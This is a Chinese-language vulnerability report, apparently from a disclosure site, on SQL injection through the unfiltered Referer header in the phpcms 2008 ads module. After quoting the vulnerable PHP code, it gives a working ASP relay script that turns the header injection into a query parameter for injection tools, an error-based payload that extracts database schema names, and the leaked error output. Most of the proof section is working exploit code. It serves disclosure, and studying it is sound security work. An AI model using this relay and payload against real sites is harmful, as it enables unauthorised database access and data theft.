简要描述:
phpcms 2008 中广告模块,存在参数过滤不严,导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,如果关闭了错误显示,可以采用基于时间和错误的盲注
详细说明:
js.php
chdir('../ads/');
require './ad.php';
?>
ad.php
require './include/common.inc.php';
$year = date('ym',TIME);
$table_status =
$db->table_status(DB_PRE.'ads_'.$year);
if(!$table_status) {
include
MOD_ROOT.'include/create.table.php';
}
$place->show($id);
?>
common.inc.php
$mod = 'ads';
define('MOD_ROOT', substr(dirname(__FILE__), 0, -7));
require substr(MOD_ROOT, 0,
-1-strlen($mod)).'include/common.inc.php';
require MOD_ROOT.'include/global.func.php';
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
$GROUP = cache_read('member_group.php');
$c_ads = new ads();
$place = new ads_place();
$head['title'] = $M['name'];
$head['keyword'] = $M['keyword'];
$head['description'] = $M['description'];
if($_userid)
{
$_extend_group =
$db->select("SELECT groupid FROM
`".DB_PRE."member_group_extend` WHERE `userid`=$_userid");
}
?>
ads_place.class.php
function show($placeid)
{
global $_username;
$placeid = intval($placeid);
if(!$placeid) return FALSE;
$ip = IP;
$time = time();
//echo $this->referer;
$adses =
$this->db->select("SELECT * FROM
".DB_PRE."ads a, $this->table p WHERE
a.placeid=p.placeid AND p.placeid=$placeid AND
a.fromdate<=UNIX_TIMESTAMP() AND
a.todate>=UNIX_TIMESTAMP() AND a.passed=1 AND
a.status=1 AND p.passed=1");
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
echo
("INSERT INTO $this->stat_table (`adsid`,
`username`, `ip`, `referer`, `clicktime`, `type`) VALUES
('$ads[adsid]', '$_username', '$ip',
'$this->referer', '$time', '0')");
$this->db->query("INSERT INTO
$this->stat_table (`adsid`, `username`, `ip`,
`referer`, `clicktime`, `type`) VALUES ('$ads[adsid]',
'$_username', '$ip', '$this->referer', '$time',
'0')");
$template
= $ads['template'] ? $ads['template'] : 'ads';
}
}
else
{ echo ("INSERT INTO
$this->stat_table (`adsid`, `username`, `ip`,
`referer`, `clicktime`, `type`) VALUES ('$ads[adsid]',
'$_username', '$ip', '$this->referer', '$time',
'0')");
$ads =
$this->db->get_one("SELECT * FROM
".DB_PRE."ads a, $this->table p WHERE
a.placeid=p.placeid AND p.placeid=$placeid AND
a.fromdate<=UNIX_TIMESTAMP() AND
a.todate>=UNIX_TIMESTAMP() AND a.passed=1 AND
a.status=1 ORDER BY rand() LIMIT 1");
$contents[] =
ads_content($ads, 1);
$this->db->query("INSERT INTO
$this->stat_table (`adsid`, `username`, `ip`,
`referer`, `clicktime`, `type`) VALUES ('$ads[adsid]',
'$_username', '$ip', '$this->referer', '$time',
'0')");
$template =
$ads['template'] ? $ads['template'] : 'ads';
}
include template('ads', $template);
}
具体问题在于
$this->db->query("INSERT INTO
$this->stat_table (`adsid`, `username`, `ip`,
`referer`, `clicktime`, `type`) VALUES ('$ads[adsid]',
'$_username', '$ip', '$this->referer', '$time',
'0')");
这段中$this->referer没有经过过滤,可以被用户所操作,如果没有关闭错误提示,则可以直接利用注入工具,采用基于错误的方式进行sql注入
如果有自定义错误页面,则可以采用盲注的方式
漏洞证明:
inject_data=request("inject_ref")
JmStr=""
JMUrl="http://www.2cto.com
/php/phpcms2008_utf8/phpcms/data/js.php?id=8"
JmRef=inject_data
JmPost=""
JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
JmCok=replace(JmCok,chr(32)," ")
JmStr=URLEncoding(JmStr)
response.write PostData(JMUrl,JmStr,JmCok,JmRef,JmPost)
Function
PostData(PostUrl,PostStr,PostCok,PostRef,PostdataX)
Dim Http
Set Http = Server.CreateObject("WinHttp.WinHttpRequest.5.1")
With Http
.Open "GET",PostUrl,False
.SetRequestHeader
"Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "REFERER",PostRef
.SetRequestHeader "Cookie",PostCok
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
if PostData="" then
PostData=PostData+"OK"
END IF
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) *
&H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)
strReturn=""
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF
Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00)
\&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" &
Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(32)," ")
'转换空格,如果网站过滤了空格,尝试用来代替
strReturn=Replace(strReturn,chr(43),"+") 'JMDCW增加转换+字符
'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
URLEncoding=strReturn
End Function
'powered by wcf1987
%>
这是一段中转用的代码,可以利用这个代码把对referer的注入改为对post的注入。
这是利用代码
http://www.2cto.com /php2008_jsphp.asp?inject_ref=inject_ref=1' AND (SELECT 1698
FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,121,118,58),(SELECT
MID((IFNULL(CAST(schema_name AS CHAR),CHAR(32))),1,50) FROM
information_schema.SCHEMATA LIMIT
0,1),CHAR(58,110,118,117,58),FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
'JYUd'='JYUd
基于错误的,结果时爆出了数据库:
Duplicate entry ':dyv:information_schema:nvu:1' for key
'group_key'